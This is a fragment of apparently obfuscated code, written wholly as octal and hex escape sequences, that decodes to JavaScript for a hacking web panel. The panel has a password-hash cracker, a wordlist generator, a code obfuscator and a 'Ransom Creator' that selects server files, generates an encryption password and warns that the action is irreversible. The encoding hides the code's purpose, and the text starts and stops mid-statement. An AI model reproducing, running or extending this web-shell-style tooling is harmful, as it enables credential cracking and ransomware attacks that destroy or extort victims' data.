x77\157\162\x64\x7d\x3c\57\163\x74\162\157\156\x67\x3e\74\x2f\160\x3e\140\x3b\12\11\x9\11\x9\x9\164\x68\151\x73\56\x61\x64\144\x4e\157\x74\x69\x66\151\x63\x61\x74\x69\157\156\x28\x27\x50\141\x73\x73\167\x6f\x72\x64\40\103\x72\141\x63\153\145\162\x27\x2c\40\47\x48\141\163\150\x20\143\162\141\143\x6b\145\x64\x20\163\x75\143\143\x65\x73\163\x66\165\154\x6c\x79\x21\x27\54\40\47\x73\x75\143\x63\145\x73\163\x27\x29\x3b\12\x9\x9\x9\x9\175\x20\145\154\x73\x65\40\x7b\12\11\x9\x9\x9\11\x63\157\156\164\x61\151\x6e\145\x72\56\x69\156\x6e\x65\x72\110\x54\115\114\40\x3d\40\140\x3c\160\x3e\110\141\x73\150\x20\x54\171\x70\x65\x3a\x20\44\x7b\162\x65\x73\56\x68\141\x73\x68\x5f\164\x79\160\x65\175\x3c\142\x72\x3e\44\x7b\x72\145\163\56\162\x65\x73\165\154\x74\163\x2e\155\x65\x73\x73\141\x67\x65\175\x3c\57\160\x3e\140\73\xa\x9\11\11\x9\175\xa\11\11\11\x7d\xa\11\11\175\54\xa\11\x9\141\163\171\156\143\40\147\x65\156\x65\162\x61\164\x65\x57\x6f\162\x64\154\x69\163\x74\50\x29\40\x7b\xa\11\x9\11\x63\157\x6e\163\164\x20\x62\x61\x73\x65\x57\x6f\x72\144\163\40\75\x20\144\x6f\x63\x75\x6d\x65\x6e\x74\56\x67\x65\x74\105\154\145\x6d\145\x6e\164\102\171\111\x64\x28\x27\167\x6f\162\x64\154\x69\163\x74\55\x62\141\163\145\x27\51\56\166\141\x6c\x75\x65\73\xa\11\x9\x9\x69\146\x20\50\41\142\x61\x73\x65\127\x6f\x72\144\x73\51\x20\x72\145\164\165\162\x6e\x20\x74\x68\x69\163\56\x74\x6f\x61\163\x74\x28\47\102\141\163\145\40\167\x6f\x72\144\x73\x20\141\x72\145\x20\162\145\161\x75\151\x72\x65\144\56\x27\54\40\47\145\162\x72\x6f\162\x27\51\73\12\11\x9\11\x63\157\x6e\x73\x74\40\x63\x6f\x6e\x74\141\x69\156\145\162\x20\x3d\40\x64\x6f\x63\165\155\x65\x6e\x74\56\147\x65\164\x45\154\145\x6d\145\x6e\164\102\x79\111\x64\x28\47\x77\x6f\x72\144\154\x69\x73\164\x2d\162\145\x73\165\x6c\x74\x73\x27\51\73\12\x9\11\11\143\x6f\156\x74\x61\151\156\145\x72\56\151\156\156\x65\162\110\124\115\114\x20\75\40\x27\x3c\160\x3e\x47\x65\156\145\162\x61\164\x69\156\147\40\x77\x6f\x72\144\154\151\x73\x74\x2e\x2e\x2e\74\57\x70\x3e\x27\73\12\11\11\x9\143\157\156\x73\x74\40\162\145\163\x20\x3d\x20\141\x77\141\x69\164\x20\x74\x68\151\x73\56\x61\x70\151\50\47\147\145\156\145\x72\x61\164\145\137\167\157\x72\x64\154\x69\x73\x74\x27\54\x20\x7b\x20\x62\141\x73\x65\137\167\x6f\162\144\x73\x3a\40\142\141\x73\x65\x57\x6f\162\144\163\40\x7d\x29\x3b\xa\11\x9\11\151\146\40\50\162\x65\x73\40\x26\x26\40\162\x65\x73\56\163\164\x61\164\165\x73\40\75\x3d\75\x20\x27\163\165\143\143\145\163\x73\x27\x29\40\x7b\xa\11\x9\x9\11\x63\157\x6e\164\141\x69\x6e\x65\x72\56\x69\x6e\x6e\x65\x72\110\x54\115\114\40\75\40\140\x3c\160\40\163\x74\171\x6c\145\75\x22\x63\157\x6c\x6f\x72\72\166\141\x72\50\x2d\x2d\x61\x63\x63\x65\x6e\x74\55\147\162\x65\x65\156\x29\x3b\x22\x3e\x47\145\x6e\145\162\141\x74\x65\x64\x20\x24\173\162\145\163\56\143\157\165\x6e\164\x7d\40\x77\157\162\x64\x73\56\74\142\x72\x3e\x46\151\154\145\72\40\44\173\x72\x65\163\x2e\x77\157\162\x64\154\151\x73\164\x5f\146\x69\154\x65\x7d\x3c\57\160\76\140\x3b\12\x9\11\11\x9\164\x68\151\163\56\x61\x64\144\x4e\157\x74\151\x66\x69\x63\x61\164\151\157\x6e\x28\47\x50\141\163\163\x77\x6f\162\144\40\x43\162\141\x63\153\x65\162\47\54\40\x60\x47\145\156\x65\x72\141\164\x65\x64\40\44\173\x72\x65\x73\56\143\157\x75\156\164\x7d\x20\167\157\162\144\154\151\163\164\x20\x65\x6e\x74\162\x69\145\x73\x60\54\40\47\x73\x75\143\x63\145\x73\163\47\51\x3b\12\11\11\x9\x7d\12\11\11\x7d\54\12\11\x9\xa\x9\x9\x2f\57\x20\x43\x6f\x64\x65\40\x4f\x62\146\165\163\x63\141\164\x6f\162\xa\x9\11\x61\163\171\156\x63\40\x6f\142\146\165\x73\x63\x61\164\x65\x43\157\x64\x65\50\51\x20\173\12\11\11\11\143\x6f\156\163\x74\40\143\157\144\x65\40\75\x20\x64\157\x63\165\x6d\145\x6e\x74\56\147\145\164\x45\x6c\x65\x6d\145\156\164\x42\171\x49\144\50\47\x6f\x62\146\x75\x73\143\141\x74\145\55\143\x6f\x64\x65\47\x29\x2e\x76\x61\x6c\165\x65\x3b\xa\11\x9\x9\x63\x6f\x6e\163\164\x20\155\145\x74\x68\157\144\x20\75\40\144\x6f\143\x75\155\x65\x6e\164\x2e\147\145\164\x45\x6c\x65\155\x65\156\x74\102\x79\111\x64\x28\x27\x6f\x62\x66\x75\163\x63\x61\x74\145\x2d\x6d\x65\x74\150\157\x64\47\51\56\166\x61\154\x75\145\73\12\x9\x9\11\151\146\x20\50\x21\143\157\144\x65\x29\x20\162\x65\164\165\x72\x6e\40\164\150\x69\163\56\x74\x6f\141\163\x74\x28\x27\x43\157\x64\x65\x20\x69\163\40\162\145\161\165\151\x72\x65\x64\x2e\x27\54\40\x27\145\x72\162\157\x72\x27\51\73\12\11\x9\11\143\157\x6e\163\164\x20\x6f\165\x74\160\x75\164\105\x6c\x20\x3d\40\x64\157\x63\165\x6d\145\x6e\164\x2e\147\x65\x74\x45\x6c\x65\x6d\145\x6e\164\x42\x79\111\x64\x28\x27\157\x62\x66\x75\x73\x63\141\164\x65\x2d\157\x75\164\160\165\x74\x27\x29\73\12\x9\11\x9\157\x75\x74\160\165\x74\x45\154\56\151\x6e\156\145\162\x54\x65\170\164\40\x3d\x20\47\x4f\142\x66\165\163\x63\x61\x74\x69\156\x67\56\x2e\x2e\x27\x3b\12\x9\11\x9\143\x6f\156\163\164\x20\162\x65\x73\40\75\x20\x61\x77\x61\151\164\40\x74\150\151\163\56\141\x70\x69\x28\x27\157\x62\x66\165\163\x63\141\164\145\x5f\x63\157\x64\145\47\x2c\x20\x7b\x20\x63\157\144\x65\54\x20\x6d\x65\x74\x68\157\x64\40\x7d\51\x3b\12\x9\x9\x9\151\146\x20\50\x72\145\163\40\46\46\x20\162\x65\x73\x2e\163\164\141\164\165\163\40\x3d\75\75\40\x27\163\165\143\x63\x65\163\163\47\x29\x20\173\xa\11\x9\x9\11\x6f\165\x74\160\x75\164\105\154\56\x69\x6e\156\x65\162\x54\x65\x78\x74\x20\x3d\40\x72\145\163\x2e\157\142\x66\x75\x73\x63\141\164\145\144\x3b\12\11\11\11\x9\x74\150\151\163\56\141\x64\x64\x4e\x6f\x74\151\146\151\x63\141\164\151\x6f\156\50\47\103\x6f\144\145\x20\x4f\142\x66\x75\x73\143\x61\x74\157\x72\47\54\x20\x60\x43\157\144\x65\x20\157\142\146\x75\x73\143\141\164\x65\x64\40\50\44\x7b\162\x65\x73\56\x6f\x72\151\x67\151\156\141\x6c\x5f\x73\x69\x7a\145\x7d\x20\342\206\x92\40\44\173\162\x65\163\56\x6f\x62\x66\x75\163\x63\x61\164\145\x64\x5f\163\151\x7a\145\x7d\x20\142\x79\164\145\163\x29\x60\x2c\x20\47\x73\165\143\143\145\x73\163\x27\x29\x3b\12\11\x9\x9\x7d\40\145\x6c\163\x65\x20\173\12\x9\x9\11\11\157\x75\x74\x70\x75\164\x45\154\x2e\x69\156\156\x65\x72\x54\x65\x78\x74\x20\75\40\x72\x65\163\77\56\155\x65\x73\163\x61\x67\x65\40\x7c\x7c\x20\47\117\x62\146\165\163\143\141\x74\151\157\156\x20\x66\141\x69\x6c\x65\x64\56\47\x3b\xa\11\11\x9\x7d\12\11\11\175\54\xa\11\x9\12\x9\x9\57\57\x20\x52\141\x6e\163\x6f\155\40\103\x72\145\x61\x74\157\x72\xa\x9\x9\162\141\x6e\x73\x6f\155\123\145\x6c\x65\143\x74\145\144\106\x69\x6c\145\x73\72\40\x6e\x65\x77\40\123\x65\164\50\x29\54\12\x9\11\x61\163\x79\x6e\x63\x20\162\x61\156\163\157\x6d\x42\x72\157\167\163\x65\106\151\x6c\145\x73\x28\51\40\173\xa\x9\11\x9\143\x6f\x6e\x73\x74\x20\160\x61\x74\150\x20\75\40\144\157\x63\165\x6d\145\156\x74\56\x67\x65\164\105\x6c\x65\x6d\x65\x6e\164\102\x79\x49\144\50\47\x72\141\x6e\163\x6f\155\x2d\142\x72\157\167\163\145\55\160\x61\x74\x68\47\x29\56\166\141\x6c\x75\145\40\x7c\174\x20\x74\x68\151\163\56\143\167\144\73\xa\x9\11\x9\151\146\40\50\x21\x70\141\164\150\51\x20\x72\x65\164\165\x72\x6e\40\164\x68\151\x73\x2e\164\157\x61\x73\x74\50\x27\x50\141\x74\150\x20\x69\x73\x20\162\145\x71\x75\151\162\x65\x64\x2e\x27\54\x20\47\x65\x72\x72\157\x72\x27\x29\x3b\12\11\x9\11\x63\x6f\x6e\163\164\x20\162\x65\x73\40\75\40\141\167\141\151\x74\x20\x74\150\x69\163\x2e\141\x70\151\50\47\x62\162\x6f\167\163\145\x27\x2c\40\173\x20\160\x61\x74\x68\x20\175\51\x3b\xa\11\11\11\x69\x66\40\x28\x72\x65\163\x20\x26\46\40\162\x65\163\x2e\x73\164\x61\x74\x75\163\x20\75\x3d\75\x20\47\x73\x75\x63\x63\145\x73\x73\47\51\x20\173\12\x9\x9\x9\x9\x63\157\156\163\x74\40\143\157\156\164\x61\x69\156\145\x72\40\75\40\144\157\x63\x75\155\x65\156\164\x2e\147\x65\164\x45\154\145\155\145\x6e\164\x42\x79\x49\x64\50\47\x72\x61\x6e\163\x6f\x6d\x2d\146\x69\154\x65\x2d\x73\145\x6c\145\143\164\x6f\162\x27\51\73\12\x9\11\11\x9\x69\146\40\50\41\x63\157\156\164\141\151\x6e\x65\162\x29\x20\x72\x65\x74\x75\x72\x6e\73\12\x9\x9\x9\11\154\145\x74\x20\150\164\155\x6c\x20\x3d\x20\x27\x3c\x64\151\166\40\163\x74\x79\154\145\x3d\42\x64\x69\163\160\154\141\171\72\147\162\151\x64\73\x20\147\162\151\144\55\164\145\155\x70\x6c\x61\x74\x65\x2d\143\x6f\x6c\165\155\x6e\163\72\40\63\60\x70\x78\40\x31\146\x72\x20\141\x75\x74\157\73\x20\x67\x61\x70\72\61\x30\160\170\73\40\x61\154\151\x67\x6e\55\x69\164\145\x6d\163\72\x63\145\156\164\145\162\73\40\155\x61\x72\147\x69\156\x2d\142\x6f\164\x74\x6f\x6d\72\x31\x30\160\170\x3b\40\x70\141\x64\x64\x69\x6e\147\x3a\70\x70\170\73\x20\x62\x61\143\153\147\162\157\165\156\144\x3a\x76\x61\x72\50\55\55\x62\147\x2d\x6d\x65\x64\x29\x3b\40\142\157\162\x64\x65\x72\x2d\162\141\x64\151\x75\x73\72\x34\160\x78\73\42\x3e\74\163\164\162\157\x6e\x67\x3e\x53\145\154\x65\143\164\74\x2f\163\x74\x72\157\156\147\x3e\x3c\x73\164\162\x6f\156\x67\x3e\106\151\x6c\x65\x3c\x2f\x73\x74\162\x6f\x6e\x67\76\x3c\x73\x74\162\157\x6e\147\76\x53\x69\172\145\74\x2f\x73\x74\162\x6f\156\147\76\74\57\x64\151\x76\x3e\47\x3b\12\11\x9\x9\x9\x72\x65\x73\x2e\146\x69\154\x65\x73\x2e\146\x6f\x72\105\141\143\x68\50\146\40\75\76\40\x7b\12\x9\x9\11\11\11\151\x66\40\x28\x66\x2e\151\x73\x5f\144\151\x72\x29\40\162\x65\164\165\x72\156\x3b\x20\57\x2f\40\123\x6b\x69\x70\40\144\151\162\145\x63\x74\157\x72\x69\145\x73\12\11\x9\11\11\x9\143\x6f\x6e\x73\x74\x20\151\163\123\145\x6c\x65\x63\x74\145\144\40\x3d\40\164\x68\151\163\x2e\162\x61\x6e\163\x6f\x6d\123\145\x6c\x65\143\164\x65\x64\106\151\x6c\145\x73\56\150\141\163\x28\146\x2e\160\141\x74\x68\51\73\xa\x9\11\11\x9\x9\x68\x74\155\x6c\40\53\75\40\x60\x3c\x64\151\166\40\x73\164\171\x6c\x65\x3d\42\x64\151\163\x70\154\x61\171\72\147\x72\151\144\73\40\147\162\151\x64\55\164\x65\x6d\x70\154\141\164\x65\x2d\x63\157\x6c\165\155\x6e\163\x3a\40\x33\60\160\x78\40\x31\146\162\x20\x61\165\164\157\x3b\40\147\x61\x70\72\x31\60\160\170\73\x20\x61\x6c\151\147\156\x2d\x69\x74\x65\x6d\163\x3a\143\145\156\164\145\x72\73\40\160\x61\144\144\151\x6e\147\x3a\70\160\170\x3b\x20\142\x61\143\153\x67\x72\x6f\x75\156\144\72\x76\141\x72\50\x2d\55\x62\147\x2d\155\145\x64\51\x3b\x20\142\157\162\144\145\x72\x2d\x72\141\144\x69\165\x73\x3a\64\160\x78\73\x20\143\165\x72\163\x6f\162\72\x70\x6f\x69\x6e\x74\x65\x72\73\x22\x20\x6f\x6e\143\154\151\x63\153\x3d\42\x41\x70\160\x2e\162\x61\156\163\157\155\x54\157\147\x67\x6c\x65\x46\x69\154\x65\x28\x27\44\x7b\146\x2e\x70\141\x74\150\56\x72\x65\x70\x6c\141\x63\x65\50\x2f\47\57\147\x2c\x20\42\x5c\134\47\x22\x29\175\x27\x29\42\x3e\xa\11\11\11\x9\x9\11\x3c\151\156\x70\x75\164\x20\x74\171\160\x65\x3d\x22\x63\150\145\143\x6b\142\157\170\42\40\44\173\151\x73\x53\145\154\x65\x63\164\145\x64\40\77\x20\47\143\150\145\x63\x6b\145\x64\47\40\72\40\x27\x27\175\x20\157\156\143\x68\x61\156\147\145\75\x22\x41\160\x70\x2e\x72\x61\x6e\163\x6f\155\x54\157\x67\x67\154\145\x46\151\154\x65\50\47\x24\x7b\146\x2e\x70\x61\164\x68\56\x72\145\160\154\x61\x63\x65\x28\57\x27\x2f\147\x2c\x20\x22\134\134\47\42\x29\x7d\47\51\x22\x20\163\x74\171\x6c\x65\x3d\42\143\165\162\163\157\x72\x3a\x70\157\x69\156\x74\x65\x72\73\x22\x3e\xa\x9\x9\x9\11\x9\11\74\x73\x70\x61\x6e\40\x73\x74\171\154\x65\75\42\143\157\x6c\x6f\x72\72\x76\x61\x72\x28\x2d\55\x74\x65\170\x74\x2d\x6c\151\x67\150\x74\51\73\x22\76\x24\x7b\x66\56\156\x61\155\145\x7d\x3c\x2f\x73\160\141\x6e\x3e\12\11\x9\11\11\x9\11\74\x73\x70\x61\x6e\x20\x73\x74\171\154\x65\x3d\x22\143\157\154\157\162\72\x76\141\162\50\x2d\x2d\164\x65\x78\164\x2d\155\x65\144\x29\73\40\146\x6f\156\x74\x2d\163\x69\172\145\x3a\60\x2e\71\x72\x65\155\73\42\76\x24\x7b\146\x2e\163\x69\x7a\145\175\x3c\x2f\x73\x70\x61\x6e\x3e\12\11\x9\x9\x9\x9\74\57\x64\151\x76\76\140\x3b\xa\x9\x9\x9\11\x7d\x29\x3b\12\x9\x9\x9\x9\x63\157\156\164\x61\151\x6e\x65\x72\56\x69\x6e\156\x65\x72\x48\x54\115\114\40\75\40\150\x74\155\x6c\73\xa\x9\11\x9\x9\164\150\151\163\x2e\x72\x61\x6e\163\157\155\x55\160\x64\x61\x74\145\103\157\165\156\164\50\x29\73\xa\x9\x9\x9\x7d\40\145\x6c\163\x65\40\173\xa\11\x9\x9\11\x74\150\x69\163\x2e\x74\x6f\141\x73\164\50\47\106\141\x69\154\x65\x64\40\x74\x6f\40\142\162\157\167\x73\x65\x20\146\x69\154\145\x73\x2e\x27\x2c\x20\x27\145\x72\162\157\x72\47\x29\x3b\xa\11\x9\11\x7d\xa\11\11\x7d\x2c\12\x9\11\162\x61\x6e\163\157\x6d\124\x6f\x67\147\x6c\145\106\151\154\x65\50\x66\151\x6c\x65\x50\x61\164\150\x29\40\x7b\xa\11\11\x9\151\x66\x20\x28\164\150\x69\x73\x2e\162\141\156\163\157\155\123\145\x6c\145\x63\164\x65\x64\106\151\x6c\x65\163\56\150\141\x73\50\146\x69\154\x65\x50\141\x74\x68\x29\51\40\x7b\xa\11\11\x9\11\x74\x68\151\x73\56\x72\141\x6e\x73\157\155\123\x65\154\145\x63\164\x65\144\x46\151\x6c\145\163\56\144\x65\154\x65\x74\x65\50\146\x69\x6c\145\120\141\x74\x68\51\73\12\x9\x9\x9\175\40\145\x6c\163\x65\x20\x7b\xa\11\11\x9\x9\164\x68\x69\163\x2e\x72\141\156\x73\157\x6d\123\145\154\145\x63\164\x65\144\x46\151\x6c\145\x73\56\141\144\x64\x28\146\151\x6c\x65\x50\x61\x74\150\x29\73\12\11\x9\11\175\12\x9\11\x9\x74\150\151\163\x2e\x72\x61\156\x73\157\x6d\x55\160\x64\x61\x74\x65\103\x6f\165\x6e\164\x28\51\73\xa\11\x9\11\57\57\40\125\x70\x64\x61\164\x65\40\143\x68\x65\143\153\x62\x6f\170\xa\x9\x9\x9\143\x6f\x6e\x73\x74\x20\143\x6f\x6e\x74\x61\x69\156\x65\x72\x20\x3d\40\x64\x6f\143\x75\155\145\156\x74\56\x67\145\164\x45\x6c\x65\155\145\156\x74\x42\171\111\x64\50\47\x72\x61\x6e\163\x6f\155\55\x66\151\154\x65\x2d\163\145\154\x65\143\164\157\162\47\51\x3b\12\x9\11\11\x69\x66\40\x28\x63\x6f\x6e\x74\141\151\x6e\145\162\x29\40\173\12\11\11\x9\11\143\157\x6e\x73\x74\40\x63\x68\x65\143\153\x62\x6f\x78\145\x73\40\x3d\40\143\x6f\x6e\x74\141\x69\156\x65\162\x2e\x71\165\145\162\x79\x53\x65\x6c\x65\143\x74\x6f\162\101\154\154\x28\47\151\156\x70\x75\x74\133\164\171\x70\145\x3d\42\143\x68\x65\143\x6b\142\x6f\170\x22\x5d\x27\x29\73\12\x9\11\11\11\x63\x68\145\143\153\x62\157\x78\145\x73\x2e\x66\157\x72\105\141\143\150\50\143\x62\x20\x3d\76\40\x7b\xa\11\11\11\11\x9\143\x6f\156\163\164\x20\146\151\154\x65\x44\151\x76\40\x3d\40\143\142\x2e\143\154\157\x73\145\x73\164\50\47\x64\x69\166\x27\51\73\xa\11\11\11\11\x9\151\146\40\x28\146\151\154\145\104\x69\x76\40\46\x26\x20\x66\x69\154\145\x44\151\x76\x2e\x74\x65\170\164\x43\x6f\156\x74\145\156\x74\56\151\156\x63\154\165\144\x65\163\x28\x66\x69\x6c\145\120\141\164\x68\x2e\163\160\154\x69\x74\50\x27\x2f\47\x29\56\160\x6f\160\50\51\x29\51\x20\173\12\11\x9\x9\x9\x9\11\x63\142\x2e\x63\150\145\143\x6b\x65\144\x20\x3d\40\164\150\x69\x73\x2e\162\x61\156\163\157\x6d\x53\145\154\x65\x63\x74\x65\x64\106\151\x6c\145\x73\56\x68\x61\163\x28\146\x69\154\x65\x50\x61\x74\150\51\x3b\12\11\11\x9\11\11\x7d\12\x9\x9\x9\x9\x7d\x29\73\xa\11\11\11\175\12\11\11\175\54\12\11\x9\x72\x61\x6e\163\157\155\x55\160\144\141\164\x65\103\157\165\x6e\164\50\51\x20\x7b\12\x9\11\x9\x63\x6f\x6e\163\x74\40\x63\x6f\165\156\164\x20\75\x20\164\150\x69\163\56\162\x61\156\163\157\x6d\123\x65\x6c\x65\x63\164\x65\x64\106\151\x6c\145\163\x2e\163\x69\172\x65\73\xa\x9\11\11\x63\x6f\x6e\163\x74\40\x63\x6f\x75\x6e\164\x45\154\x20\75\40\144\x6f\143\x75\155\x65\156\x74\x2e\147\x65\x74\x45\154\x65\155\x65\156\164\x42\x79\111\144\50\47\x72\x61\x6e\163\157\155\x2d\x73\145\154\x65\143\164\145\144\x2d\143\157\x75\156\164\x27\x29\73\12\x9\x9\11\143\x6f\156\x73\x74\x20\143\157\165\156\164\116\x75\155\40\x3d\x20\x64\x6f\x63\x75\155\x65\x6e\x74\56\x67\145\164\x45\x6c\145\155\x65\x6e\x74\102\x79\111\x64\x28\47\x72\141\x6e\x73\157\x6d\x2d\143\x6f\x75\x6e\164\x27\51\x3b\xa\11\x9\11\x69\146\40\50\143\x6f\x75\x6e\164\105\x6c\x20\x26\x26\x20\x63\157\165\156\x74\x4e\165\155\x29\40\x7b\xa\11\11\x9\x9\143\157\x75\156\x74\116\x75\155\x2e\x74\145\170\x74\x43\157\156\x74\145\156\x74\40\x3d\x20\x63\x6f\165\x6e\164\73\xa\11\x9\x9\11\x63\x6f\165\x6e\x74\x45\154\56\x73\x74\171\x6c\145\x2e\144\x69\163\x70\154\141\171\40\75\40\x63\x6f\x75\x6e\164\40\x3e\40\60\x20\77\x20\x27\x62\154\x6f\143\153\x27\x20\72\40\x27\156\x6f\x6e\145\47\x3b\12\11\x9\x9\x7d\12\x9\x9\x7d\x2c\xa\x9\x9\162\x61\x6e\163\x6f\x6d\107\145\156\x65\x72\x61\164\145\x50\x61\163\x73\167\x6f\x72\144\50\x29\x20\173\12\x9\x9\11\143\157\156\x73\164\40\143\x68\141\162\x73\40\x3d\40\47\x41\x42\103\104\x45\x46\x47\110\x49\x4a\x4b\114\x4d\x4e\x4f\120\121\x52\x53\x54\125\126\x57\x58\x59\132\141\142\143\x64\145\146\147\x68\151\152\x6b\154\x6d\x6e\157\160\161\x72\163\164\165\166\167\170\171\172\60\61\62\x33\x34\65\x36\67\x38\x39\41\100\x23\x24\45\136\x26\52\47\73\xa\x9\x9\x9\154\x65\x74\40\160\141\163\163\x77\x6f\x72\x64\x20\75\x20\x27\47\x3b\xa\x9\11\x9\146\157\x72\x20\50\x6c\145\x74\40\151\40\75\x20\x30\x3b\x20\x69\x20\x3c\x20\63\x32\73\40\151\x2b\x2b\x29\40\x7b\xa\11\11\x9\x9\x70\141\x73\x73\167\157\x72\x64\40\53\75\40\x63\150\x61\x72\163\x2e\143\150\x61\x72\x41\x74\50\115\x61\164\x68\56\146\154\x6f\x6f\x72\x28\x4d\141\x74\x68\56\162\141\x6e\x64\157\155\x28\x29\x20\52\x20\x63\x68\x61\x72\x73\x2e\154\x65\156\147\164\x68\51\x29\x3b\12\11\x9\11\x7d\xa\11\11\11\x63\157\156\163\164\x20\x70\x61\163\163\167\157\x72\144\105\x6c\x20\x3d\40\x64\x6f\x63\x75\x6d\145\156\x74\56\x67\145\164\105\154\x65\x6d\x65\156\x74\x42\171\111\144\50\x27\x72\x61\156\163\x6f\155\x2d\x70\141\163\x73\x77\157\162\x64\47\51\73\12\x9\11\11\x69\x66\x20\x28\x70\x61\x73\x73\167\157\162\x64\105\154\51\40\x7b\12\11\x9\11\x9\160\x61\163\163\x77\x6f\162\144\x45\154\x2e\x76\141\154\x75\x65\40\x3d\40\x70\x61\163\x73\167\x6f\162\x64\73\xa\x9\x9\x9\11\x70\141\x73\x73\167\x6f\162\144\105\x6c\x2e\164\171\x70\145\40\75\x20\47\x74\145\x78\164\x27\x3b\xa\11\x9\11\11\163\x65\x74\124\151\155\x65\157\165\164\x28\x28\51\x20\x3d\76\40\x7b\x20\x69\146\x20\50\160\141\163\163\167\157\x72\x64\105\154\x29\x20\160\x61\163\x73\167\x6f\162\x64\105\154\56\164\171\160\x65\40\75\x20\47\160\141\163\x73\x77\x6f\162\x64\x27\73\x20\175\54\x20\x32\x30\60\60\51\x3b\xa\11\11\11\x7d\12\x9\x9\11\x74\x68\151\x73\x2e\164\157\141\163\x74\x28\47\120\x61\x73\163\167\x6f\x72\144\x20\147\145\x6e\145\x72\x61\164\x65\144\41\47\54\40\x27\163\165\x63\143\145\163\x73\x27\x29\x3b\xa\x9\11\x7d\x2c\12\x9\11\163\150\157\167\x49\x72\x72\145\x76\145\x72\x73\x69\x62\x6c\x65\115\157\x64\x61\x6c\50\x6d\x65\163\x73\141\x67\145\x29\x20\x7b\xa\x9\11\11\162\145\x74\x75\162\156\40\156\x65\x77\40\x50\x72\157\155\151\163\x65\x28\50\x72\145\163\x6f\x6c\x76\145\x29\x20\75\x3e\40\173\12\x9\x9\11\x9\x63\x6f\x6e\x73\x74\x20\x6d\157\x64\x61\x6c\40\75\x20\144\x6f\143\x75\155\145\156\x74\x2e\147\145\x74\105\x6c\x65\155\x65\x6e\x74\102\171\x49\144\x28\x27\x69\x72\162\x65\x76\x65\162\x73\151\x62\154\145\55\x6d\157\x64\141\154\47\x29\73\xa\x9\x9\11\11\x63\157\156\163\x74\x20\x6d\145\x73\x73\x61\x67\x65\x45\x6c\40\75\40\x64\x6f\143\165\x6d\145\156\x74\x2e\x67\145\164\105\154\x65\x6d\x65\156\x74\102\171\111\x64\50\x27\x69\x72\x72\x65\x76\x65\162\x73\151\x62\x6c\145\55\x6d\145\x73\x73\x61\x67\145\x27\51\73\12\11\x9\11\x9\143\157\x6e\163\164\40\143\157\156\146\x69\x72\x6d\102\x74\156\40\75\40\144\x6f\143\165\x6d\145\x6e\x74\56\x67\145\x74\x45\x6c\145\155\145\156\x74\102\171\111\144\x28\47\x69\x72\162\x65\166\x65\162\x73\x69\142\x6c\x65\x2d\143\x6f\x6e\146\151\162\155\55\142\164\x6e\47\51\x3b\xa\x9\11\11\x9\x63\x6f\156\163\164\40\x63\141\156\143\145\x6c\102\x74\156\x20\x3d\40\x64\x6f\143\165\155\145\156\164\56\x67\x65\x74\x45\154\145\x6d\145\156\x74\x42\x79\111\144\x28\x27\151\162\162\x65\166\145\x72\163\x69\x62\154\145\x2d\143\x61\156\143\x65\x6c\x2d\x62\164\156\x27\51\x3b\xa\x9\11\11\x9\143\157\156\x73\x74\x20\x63\x6c\157\163\145\102\164\x6e\40\75\40\x64\x6f\x63\165\155\145\156\x74\x2e\x67\x65\164\105\x6c\145\x6d\145\x6e\x74\x42\171\x49\144\x28\47\151\162\x72\x65\x76\145\x72\x73\151\142\x6c\x65\x2d\155\x6f\144\141\x6c\x2d\143\154\x6f\163\x65\x27\51\73\xa\11\x9\x9\11\xa\11\x9\11\11\151\146\40\50\41\155\157\x64\x61\154\x20\174\x7c\40\41\155\145\x73\x73\141\147\x65\x45\x6c\51\40\x72\145\x74\165\162\156\40\162\145\163\x6f\x6c\x76\145\x28\146\141\x6c\163\x65\51\x3b\12\11\x9\x9\x9\12\11\x9\x9\x9\x6d\x65\x73\163\x61\x67\145\x45\154\x2e\x74\145\x78\x74\103\157\156\x74\x65\156\164\x20\x3d\x20\x6d\x65\x73\x73\141\147\x65\x3b\12\x9\x9\11\x9\155\157\144\x61\x6c\56\163\x74\171\154\145\56\x64\x69\163\x70\x6c\141\x79\x20\x3d\x20\47\x66\x6c\145\x78\47\x3b\xa\11\11\x9\x9\12\x9\x9\11\x9\x63\157\156\163\x74\40\x63\x6c\x65\x61\x6e\165\x70\x20\x3d\40\x28\51\x20\x3d\76\40\173\12\11\x9\11\11\x9\155\157\x64\x61\x6c\x2e\x73\x74\x79\x6c\145\x2e\x64\x69\x73\160\x6c\141\x79\40\x3d\40\47\x6e\157\156\x65\x27\x3b\12\x9\11\11\11\x9\x63\157\156\146\151\162\155\102\164\x6e\x2e\157\x6e\x63\154\x69\x63\153\x20\x3d\40\156\x75\154\x6c\x3b\12\11\x9\11\x9\x9\x63\141\x6e\143\145\x6c\102\164\156\x2e\157\x6e\x63\x6c\151\x63\x6b\40\x3d\x20\156\x75\x6c\154\73\12\11\x9\x9\11\11\x63\154\157\x73\145\x42\x74\156\56\157\156\x63\x6c\x69\x63\x6b\x20\x3d\40\x6e\165\x6c\154\73\12\x9\11\x9\11\175\x3b\xa\x9\11\11\11\xa\11\11\x9\11\x63\157\156\x66\151\162\155\102\164\x6e\x2e\157\x6e\143\x6c\x69\x63\x6b\40\x3d\40\x28\51\x20\x3d\76\x20\x7b\xa\11\x9\x9\11\11\143\154\x65\141\x6e\x75\160\50\51\x3b\12\x9\11\x9\x9\x9\x72\145\163\157\x6c\x76\x65\x28\x74\x72\165\x65\51\x3b\12\x9\11\x9\11\175\x3b\xa\x9\x9\11\x9\xa\x9\11\11\11\143\141\156\x63\x65\154\x42\x74\156\56\157\x6e\x63\154\151\x63\153\40\x3d\40\x28\51\40\75\x3e\x20\173\xa\11\x9\11\11\11\143\x6c\145\141\156\165\160\50\51\x3b\xa\11\11\x9\11\11\162\145\x73\x6f\x6c\x76\x65\50\x66\141\154\163\145\x29\73\12\x9\11\11\x9\175\73\12\11\11\11\11\12\x9\11\x9\11\x63\x6c\x6f\x73\145\x42\x74\x6e\56\157\x6e\143\x6c\151\143\x6b\x20\x3d\x20\x28\x29\40\x3d\x3e\x20\x7b\xa\11\11\x9\x9\11\143\154\145\141\x6e\165\160\50\x29\73\xa\x9\x9\11\x9\x9\162\145\x73\157\154\166\x65\50\x66\x61\x6c\x73\145\x29\73\xa\11\11\11\11\x7d\73\xa\11\x9\11\11\12\x9\11\11\11\x2f\x2f\40\x43\154\157\163\x65\x20\157\156\x20\142\x61\143\x6b\144\x72\x6f\160\40\143\x6c\x69\x63\x6b\xa\x9\x9\11\11\x6d\157\x64\141\x6c\x2e\x6f\x6e\x63\154\x69\143\153\40\75\40\50\145\x29\x20\75\76\40\173\12\x9\11\11\x9\11\151\x66\x20\x28\145\x2e\164\x61\x72\147\x65\x74\40\75\75\75\40\x6d\x6f\144\141\x6c\51\40\x7b\xa\x9\x9\x9